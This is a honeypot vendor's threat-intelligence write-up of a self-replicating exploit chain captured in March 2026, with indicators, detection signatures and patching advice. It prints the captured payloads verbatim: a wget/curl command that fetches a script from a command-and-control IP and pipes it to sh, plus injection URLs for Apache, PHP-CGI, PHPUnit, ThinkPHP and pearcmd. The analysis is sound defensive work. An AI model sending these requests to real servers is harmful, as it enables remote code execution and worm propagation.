Patient Zero: A Self-Replicating HTTP Exploit Chain Captured by Honeypot

In epidemiology, the index case is the first documented infection in an outbreak. Not the first host that caught the disease. Just the first one anyone noticed. By the time a pathologist puts the sample under a microscope, the pathogen has already moved on, replicating in someone who doesn't know they're infected yet.
On March 6, 2026, our HTTP honeypot documented an index case.
The infection arrived from Singapore. It lasted 16 seconds. It attempted six different vectors of transmission. And the payload at its core, the genetic material inside every single attempt, was a self-replicating exploit chain designed to turn each new victim into a carrier.
The full captured session is published in our attack session database. What follows is the lab report.
The Index Case
At 11:49:59 UTC, a connection opens from https://sikkerapi.com/ip/207.166.168.14. Singapore. The client identifies itself as libredtail-http, a custom HTTP library not associated with any known browser or mainstream scanning framework. What follows is not a single exploit attempt. It is a complete pathogen: six infection vectors fired in sequence, 46 requests in 16 seconds, each one targeting a different vulnerability in a different framework on a server it knows nothing about.
The bot does not know what this server runs. Apache or Nginx. PHP or Python. Laravel or ThinkPHP. Docker or bare metal. It does not need to know. It carries six strains and needs only one to take hold.
The six vectors, in order of firing:
- Apache path traversal with CGI shell injection (CVE-2021-41773 / CVE-2021-42013)
- PHP-CGI argument injection (CVE-2024-4577)
- PHPUnit eval-stdin remote code execution, 37 path variations (CVE-2017-9841)
- ThinkPHP 5.x invokeFunction remote code execution
- PHP pearcmd local file inclusion (two-stage: write, then execute)
- Docker Engine API exposure probe
Each vector carries a diagnostic marker: a PHP md5() call with a unique string. If the response contains the expected hash, the exploit executed. The host is susceptible. The infection took.
And every successful infection ends the same way. wget or curl fetches a shell script from a command-and-control server at 31.57.216.121, pipes it into sh, and the compromised host begins scanning for new victims. The payload flag is apache.selfrep. Self-replicating. The outbreak grows by one.
Vector 1: Apache Path Traversal and CGI Shell Injection
Requests 1 and 2. Elapsed: 0.0s to 0.4s.
The first two requests are blunt instruments. Direct inoculation.
POST /cgi-bin/bin/sh
Body: (wget --no-check-certificate -qO- https://31.57.216.121/sh
|| curl -sk https://31.57.216.121/sh) | sh -s apache.selfrepIf the web server routes /cgi-bin/bin/sh to a shell interpreter, the body executes immediately: fetch a script from the C2, pipe it into sh, activate the apache.selfrep replication module. No obfuscation. No subtlety. A syringe pushed straight into the vein.
The second request adds camouflage:
POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/.../bin/shThis is double-encoded directory traversal targeting CVE-2021-41773 and CVE-2021-42013 in Apache HTTP Server 2.4.49 and 2.4.50. The sequence %%32%65 decodes in two passes: %32 becomes 2, %65 becomes 5, the surrounding % completes the triplet, and the result is %25 which becomes . on the second pass. So %%32%65%%32%65 resolves to .. after double decoding. The path climbs upward out of the CGI directory and reaches /bin/sh.
Apache 2.4.49 had introduced a new path normalization function that checked for traversal sequences before fully decoding the URL. The encoded form passed the security check. The decoded form reached the filesystem. A pathogen wearing the host's own proteins on its surface, invisible to the immune system until it's already inside.
Same payload. Same C2. Same replication directive. The bot labels its strains: apache.selfrep.
Vector 2: CVE-2024-4577 PHP-CGI Argument Injection
Requests 3 and 4. Elapsed: 0.7s to 1.1s.
The second vector targets a vulnerability disclosed in June 2024. PHP running in CGI mode on Windows interprets certain Unicode characters as command-line argument delimiters. The query string abuses this:
POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://inputThe %AD byte (Unicode soft hyphen) is treated as a dash by PHP-CGI's argument parser on Windows systems with specific locale configurations. After parsing, the query string becomes two PHP configuration directives:
-d allow_url_include=1 -d auto_prepend_file=php://inputThe first enables remote file inclusion. The second instructs PHP to execute the request body before processing any other code. The body is:
<?php shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZX..."));
echo(md5("Hello CVE-2024-4577")); ?>The base64 decodes to the familiar replication chain: wget or curl fetching from 31.57.216.121/sh, piped to sh. But this time the replication flag is cve_2024_4577.selfrep instead of apache.selfrep. The pathogen tracks which vector achieved penetration. Every strain is labeled at birth.
The bot fires this at two paths: /hello.world and /. Two attempts at the same receptor. If PHP-CGI handles either one, the argument injection triggers, the body executes, and the host starts replicating.
The Diagnostic: MD5 Verification Canaries
Before going further, it's worth understanding a pattern that repeats across every vector in this session.
The echo(md5("Hello CVE-2024-4577")) line in the PHP-CGI payload is not part of the exploit. It is a blood test. A way for the pathogen to confirm whether the infection succeeded.
The MD5 hash of "Hello CVE-2024-4577" is d5c6a2deb8ac3d4e74d79d582b9f3898. That value is fixed and known to the bot in advance. If the HTTP response contains that exact hash, the PHP code executed on the server. The cell wall was breached. The host is infected.
This pattern appears in every vector:
| Vector | Canary payload | Expected hash |
|---|---|---|
| CVE-2024-4577 | md5("Hello CVE-2024-4577") | d5c6a2deb8ac3d4e74d79d582b9f3898 |
| PHPUnit eval-stdin | md5("Hello PHPUnit") | 6a9f35012f4290369bcf45fd7ccf29cf |
| ThinkPHP RCE | md5("Hello") | 8b1a9953c4611296a827abf8c47804d7 |
| pearcmd LFI | md5("hi") | 49f68a5c8493ec2c0bf489821c21fc3b |
Each vector uses a different string. The bot doesn't just know whether a host is susceptible. It knows which vulnerability succeeded. Not just "infection positive," but which strain, which receptor, which point of entry.
In virology, this is a multiplex PCR panel: a single test that simultaneously detects and distinguishes between multiple pathogen variants. The bot fires all six vectors in one burst and reads the results from the HTTP responses. Reconnaissance and exploitation in a single session. The diagnostic and the disease arrive together.
Vector 3: CVE-2017-9841 PHPUnit eval-stdin (37 Path Variations)
Requests 5 through 41. Elapsed: 1.4s to 13.7s.
The third vector consumes 37 of the session's 46 requests. Twelve seconds. Over 80% of the entire infection attempt is devoted to a single vulnerability first reported in 2017.
CVE-2017-9841 is a remote code execution flaw in PHPUnit, the most widely used testing framework in the PHP ecosystem. Versions before 4.8.28 and 5.x before 5.6.3 shipped with a file called eval-stdin.php that executed any PHP code sent in the request body. It was intended for internal test harness use. It was never supposed to be reachable from the internet.
But Composer, PHP's dependency manager, installs PHPUnit into a vendor/ directory inside the project. If that directory sits within the web root (it shouldn't, but it does on millions of servers), eval-stdin.php becomes accessible to anyone with a browser. A test fixture becomes an open door.
The vulnerability was patched nine years ago. This bot is still scanning for it. And it does so with extraordinary thoroughness.
Every request carries the same body:
<?php echo(md5("Hello PHPUnit"));If any path resolves to the real file, the response contains 6a9f35012f4290369bcf45fd7ccf29cf. One hit out of 37 is enough.
The first ten requests vary the internal PHPUnit directory structure, accounting for different versions:
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
/vendor/phpunit/src/Util/PHP/eval-stdin.php
/vendor/phpunit/Util/PHP/eval-stdin.php
/vendor/phpunit/phpunit/LICENSE/eval-stdin.php
/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.phpDifferent PHPUnit releases installed the file at slightly different internal paths. The bot carries a map of every known layout, the way a flu virus carries surface proteins for multiple receptor subtypes.
The remaining 27 requests keep the most common internal path but rotate the application prefix:
/laravel/vendor/phpunit/...
/yii/vendor/phpunit/...
/zend/vendor/phpunit/...
/workspace/drupal/vendor/phpunit/...
/www/vendor/phpunit/...
/cms/vendor/phpunit/...
/blog/vendor/phpunit/...
/admin/vendor/phpunit/...
/api/vendor/phpunit/...
/public/vendor/phpunit/...
/app/vendor/phpunit/...
/demo/vendor/phpunit/...
/backup/vendor/phpunit/...
/test/vendor/phpunit/...
/testing/vendor/phpunit/...Read this list slowly. It is a fossil record of PHP web hosting conventions accumulated over a decade. Laravel projects in /laravel/. Yii2 applications in /yii/. Zend Framework in /zend/. Drupal sites in /workspace/drupal/. WordPress blogs in /blog/. Admin panels in /admin/ and /panel/. Staging environments in /test/, /tests/, /testing/, and /demo/. API backends in /api/ and /V2/. CRM and CMS platforms. Backup directories. Public web roots. Every common directory name that a PHP developer has ever used to deploy a web application is in this list.
We saw the same strategy in our capture of a Redis cron injection bot, which wrote to four different cron directories because it didn't know which Linux distribution the target ran. Same principle here, multiplied by ten. The cost of a failed request is one wasted packet. The cost of skipping a valid path is a missed infection. The math favors volume every time.
The full request log in our session database shows every path attempted, all 37 of them, fired at a cadence of one every 330 milliseconds.
Vector 4: ThinkPHP 5.x Remote Code Execution
Requests 42 and 43. Elapsed: 14.2s to 14.6s.
GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello
GET /public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP is a PHP framework dominant in the Chinese web ecosystem. Versions 5.0 through 5.0.23 and 5.1 through 5.1.30 contain a remote code execution vulnerability in the routing subsystem. The s parameter controls method dispatch, and the invokefunction route allows calling arbitrary PHP functions with attacker-supplied arguments.
The bot calls call_user_func_array with md5 as the function and "Hello" as the argument. If the response contains 8b1a9953c4611296a827abf8c47804d7 (the MD5 of "Hello"), ThinkPHP is present and exploitable. The canary fires.
Two paths: /index.php and /public/index.php. The second path accounts for deployments where the web root points to ThinkPHP's public/ directory.
This vector has minimal adoption outside China and Southeast Asia. The bot carries it anyway. A strain evolved for a specific population, packed into the payload because the marginal cost of two extra requests is zero and the payoff on a susceptible host is full code execution.
Vector 5: PHP pearcmd Local File Inclusion (Two-Stage)
Requests 44 and 45. Elapsed: 15.0s to 15.4s.
This is the most creative vector in the session. It operates in two stages, and the first stage manufactures the vulnerability that the second stage exploits.
Stage 1: Writing the payload to disk.
GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5("hi"));?>+/tmp/index1.phpPHP's pearcmd.php is the command-line interface for the PEAR package manager. It exists on many PHP installations at /usr/local/lib/php/pearcmd.php. If the web application has a local file inclusion vulnerability (here, through the lang parameter), the attacker can include pearcmd.php via directory traversal and pass arguments to it through the query string.
The config-create command tells PEAR to write a configuration file to a specified path. The bot passes <?echo(md5("hi"));?> as part of the content and /tmp/index1.php as the output file. PEAR writes the file, embedding the PHP code inside a legitimate configuration structure.
The pathogen has just synthesized its own genetic material inside the host's filesystem.
Stage 2: Executing the written file.
GET /index.php?lang=../../../../../../../../tmp/index1The second request includes the file that the first request created. PHP processes /tmp/index1.php, encounters the <?echo(md5("hi"));?> tag, executes it, and returns the hash 49f68a5c8493ec2c0bf489821c21fc3b in the response. Infection confirmed.
Two requests. Write, then read. A pathogen that builds its own receptor on the cell surface, then uses that receptor to enter. In the wild, the diagnostic echo(md5("hi")) would be replaced with the full wget/curl replication chain. This two-step technique achieves code execution on hosts where direct PHP evaluation is unavailable but where a file inclusion vulnerability and PEAR coexist. A narrower attack surface, but one that standard PHP hardening guides rarely address.
Vector 6: Docker Engine API Probe
Request 46. Elapsed: 15.7s.
The final request breaks from the PHP theme entirely.
GET /containers/jsonThis is the Docker Engine API endpoint that lists running containers. The Docker daemon typically listens on a Unix socket, but it can be configured to listen on TCP (commonly port 2375), or it may be exposed through a reverse proxy on port 80. If this endpoint returns a JSON array of containers, the API is accessible without authentication.
An exposed Docker API is not a software vulnerability. It is a configuration error that grants total control of the host. Mount the host filesystem into a new container and you own the machine. No exploit needed. No CVE. Just an open door that shouldn't be open.
After five PHP-specific vectors, the bot throws one final probe at a completely different technology stack. A different organ system entirely. Included because the cost is one GET request and the reward is root access.
The Replication Mechanism
Every vector in this session is a delivery vehicle for the same genetic payload:
(wget --no-check-certificate -qO- https://31.57.216.121/sh
|| curl -sk https://31.57.216.121/sh) | sh -s apache.selfrepwget or curl (whichever is installed) fetches a shell script from the C2 server at 31.57.216.121. The script pipes directly into sh. No file is written to disk. No binary is dropped. The payload runs in memory, leaving minimal forensic traces. The argument apache.selfrep tells the script which replication module to initialize.
The CVE-2024-4577 variant uses cve_2024_4577.selfrep instead. The pathogen labels its own progeny. Every new infection carries a tag identifying which vulnerability was its point of entry. The C2 knows, for every compromised host in its network, exactly which strain caused the infection.
"Self-replicating" is the critical word. The shell script installs the scanning toolkit on the newly compromised host. That host begins firing the same 46 requests at new targets. It is no longer a victim. It is a carrier.
This is the R0 of the outbreak: the basic reproduction number. If each infected host scans thousands of IPs and even a fraction of a percent are vulnerable, the population of infected scanners grows exponentially. The bot that hit our honeypot was not operated by a person at a keyboard in Singapore. It was spawned by another infected host, which was spawned by another, which traces back to an original infection somewhere upstream, weeks or months in the past.
Our honeypot network captured one node in a replication chain of unknown depth. The session we documented is a copy of a copy. The 46 requests are identical every time because they were never typed by a human. They were inherited, like DNA, passed from host to host through the vulnerability that created them.
If your server was compromised by this chain and you didn't notice, it is not just infected. It is infectious. It is scanning the internet right now, probing other people's servers with the same 46 requests, trying the same six vectors, carrying the same replication payload. Your server is not the victim. It is the vector.
That is what makes self-replicating exploit chains different from everything else in our threat intelligence database. A brute-force bot is a tool. A credential stuffer is a tool. They have operators. They have infrastructure. They can be attributed to someone.
A self-replicating worm is a population. It has no single operator. It has an origin, somewhere, but tracing it requires following the chain backward through dozens or hundreds of compromised hosts. Each one a carrier. Each one scanning without knowing it. The GPU hunter we profiled was a professional with a checklist. This is a virus with no agenda beyond replication.
The Infrastructure
C2 Server: 31.57.216.121. Both the CGI shell injection and the base64 payload inside the CVE-2024-4577 exploit resolve to this IP. The script hosted at /sh is the bridge between initial exploitation and full replication capability. A single reservoir host serving every new infection.
Source IP: https://sikkerapi.com/ip/207.166.168.14. Singapore. User-agent libredtail-http. Almost certainly another compromised host in the replication chain rather than the original operator. Check our Singapore threat activity for broader context.
Request cadence: 46 requests in 16.2 seconds. One every 350 milliseconds. No variation, no pausing, no adaptation to responses. The bot fires its complete payload without reading a single response along the way. It does not check whether request 1 succeeded before sending request 2. It sends everything and lets the C2 sort out which hosts returned the correct diagnostic hashes. This is consistent with a fully automated toolkit running without human oversight.
Behavioral classification: Our analysis engine classified this session as http_mass_web_rce_exploitation_scanning: coordinated automated exploitation attempts targeting public-facing web services across multiple vulnerability families. The complete session with all 46 requests is available in our published session database.
IOCs
Network Indicators
| Field | Value |
|---|---|
| Source IP | https://sikkerapi.com/ip/207.166.168.14 |
| Source port | 55288 |
| Destination port | 80 |
| Country | Singapore |
| User-Agent | libredtail-http |
| C2 server | 31.57.216.121 |
| C2 payload path | /sh |
| Session duration | 16.2 seconds |
| Total requests | 46 |
Exploit Signatures
| Vector | CVE | Detection signature |
|---|---|---|
| Apache path traversal | CVE-2021-41773 / CVE-2021-42013 | %%32%65%%32%65 in URL path |
| PHP-CGI argument injection | CVE-2024-4577 | %ADd+allow_url_include in query string |
| PHPUnit eval-stdin | CVE-2017-9841 | eval-stdin.php in URL path |
| ThinkPHP RCE | ThinkPHP 5.0-5.1 | invokefunction + call_user_func_array in query |
| pearcmd LFI | N/A | pearcmd + config-create in query string |
| Docker API | N/A | GET /containers/json |
Diagnostic Canary Hashes
If your HTTP response logs contain any of these MD5 values, the corresponding exploit executed PHP code on your server:
| Canary string | MD5 hash | Indicates |
|---|---|---|
Hello CVE-2024-4577 | d5c6a2deb8ac3d4e74d79d582b9f3898 | PHP-CGI argument injection succeeded |
Hello PHPUnit | 6a9f35012f4290369bcf45fd7ccf29cf | PHPUnit eval-stdin is accessible |
Hello | 8b1a9953c4611296a827abf8c47804d7 | ThinkPHP invokeFunction is exploitable |
hi | 49f68a5c8493ec2c0bf489821c21fc3b | pearcmd file write + include succeeded |
Host Artifacts
Check your HTTP access and error logs for:
- POST requests to
/cgi-bin/bin/shor paths containing%%32%65 - Request bodies containing
base64_decodecombined withshell_exec - Request paths containing
eval-stdin.phpat any depth - Query strings containing
allow_url_includeorauto_prepend_file=php://input - Query strings containing
invokefunctionandcall_user_func_array - Query strings containing
pearcmdandconfig-create - GET requests to
/containers/jsonfrom external IPs - Any outbound connections to
31.57.216.121 - Processes with
selfrepin their arguments or command line
Stopping the Spread
This pathogen carries six vectors because it only needs one to work. Defending against it means closing all six doors.
- Update Apache HTTP Server. CVE-2021-41773 and CVE-2021-42013 were patched in Apache 2.4.51 (October 2021). If you are running 2.4.49 or 2.4.50, the double-encoded path traversal in this session will reach your filesystem. Update, or if you can't update, deny requests containing
%%sequences in paths routed to CGI handlers.
- Update PHP. CVE-2024-4577 affects PHP running in CGI mode on Windows. It was patched in PHP 8.3.8, 8.2.20, and 8.1.29 (June 2024). If you run PHP-CGI on Windows with locale configurations that map soft hyphens to dashes, you are vulnerable. Migrate to PHP-FPM if possible; CGI mode has been a recurring source of argument injection vulnerabilities.
- Remove PHPUnit from production deployments. CVE-2017-9841 was patched in 2017. Nine years later, bots are still scanning 37 path variations for
eval-stdin.phpbecause it still works on enough servers to justify the effort. Runfind / -name eval-stdin.php 2>/dev/nullon your servers. If it exists anywhere under a web-accessible directory, delete it. Better yet, ensurevendor/directories are never inside the web root, and addrequire-devdependencies (like PHPUnit) to your.gitignorefor production deployments.
- Remove or restrict pearcmd.php. If
/usr/local/lib/php/pearcmd.phpexists on your server and any application has a local file inclusion vulnerability, the two-stage write-then-execute technique in this session achieves code execution. Removepearcmd.phpif PEAR is not needed, or move it outside any path reachable through file inclusion. Review your applications forincludeorrequirestatements that accept user-controlled input.
- Never expose the Docker API on a network port. If you need remote Docker management, use TLS mutual authentication or SSH tunneling. An unauthenticated Docker API on port 2375 (or behind a reverse proxy on port 80) is equivalent to handing root access to anyone who asks. The single
GET /containers/jsonprobe at the end of this session is all it takes to discover it.
- Deploy a web application firewall. The exploit signatures in this session are well-known and detectable by any modern WAF.
eval-stdin.phpin a URL path,%%32%65encoded traversal sequences,invokefunctionin a query string: these are textbook patterns. Block them at the edge before they reach your application.
- Block known malicious IPs at the firewall. SikkerGuard consumes our scored threat blacklists and blocks IPs like the one in this session before they establish a TCP connection. The source IP and the C2 server from this capture are both tracked in our threat database. Query any IP through the check endpoint for structured threat data, or integrate the blacklist directly into your firewall rules with iptables, fail2ban, CSF, or Nginx.
The Lab Report
All data in this post was captured by our production honeypot sensor network. There is no web server behind port 80 on this sensor. There is no PHP runtime, no Apache, no Docker daemon, no ThinkPHP installation. Our sensor is an HTTP protocol emulator that accepts connections, parses requests, and returns plausible responses. It logged 46 requests, recorded every header and body, and executed nothing.
The pathogen landed on a glass slide. It was observed, documented, and preserved. The full session is published in our database for researchers, defenders, and anyone who wants to see what the infection looks like at the packet level.
But the bot that sent these 46 requests is still running. It is scanning the next IP address right now, firing the same six vectors, carrying the same replication payload, looking for the one server in ten thousand that has an unpatched Apache, or a vendor/ directory in the web root, or a Docker socket exposed to the network.
It was itself created by a successful infection. It will attempt to create more. It doesn't choose its targets. It doesn't assess risk. It doesn't sleep. It replicates.
A nine-year-old PHPUnit vulnerability. A PHP-CGI flaw from 2024. A path traversal patched in 2021. A ThinkPHP bug from 2018. A pearcmd trick that requires no CVE at all. Six keys on a keyring that grows every time a new vulnerability is disclosed and never loses the old ones.
Somewhere out there, the actual patient zero of this strain, the first server that was compromised and began replicating, is still running. Or it was cleaned up months ago and it doesn't matter, because by then it had already infected enough hosts to sustain the population.
That's the thing about self-replicating exploit chains. You don't need the original. The copies are just as contagious.
Every IP referenced in this post is tracked in our threat database. Look up any IP at https://sikkerapi.com, or query the check endpoint for real-time threat data. Browse the full threat landscape across all 16 protocols, or explore HTTP-specific activity to see what else is hitting port 80 today. For automated protection, install SikkerGuard or pull our scored blacklists directly into your infrastructure.
The [link=/sessions/PUB-2026-0305-0035]complete captured session[/link] is available in our [link=/sessions]published session database[/link]. Create a free account at https://dashboard.sikkerapi.com/register for unlimited access.
Comments
No comments yet. Be the first to share your thoughts!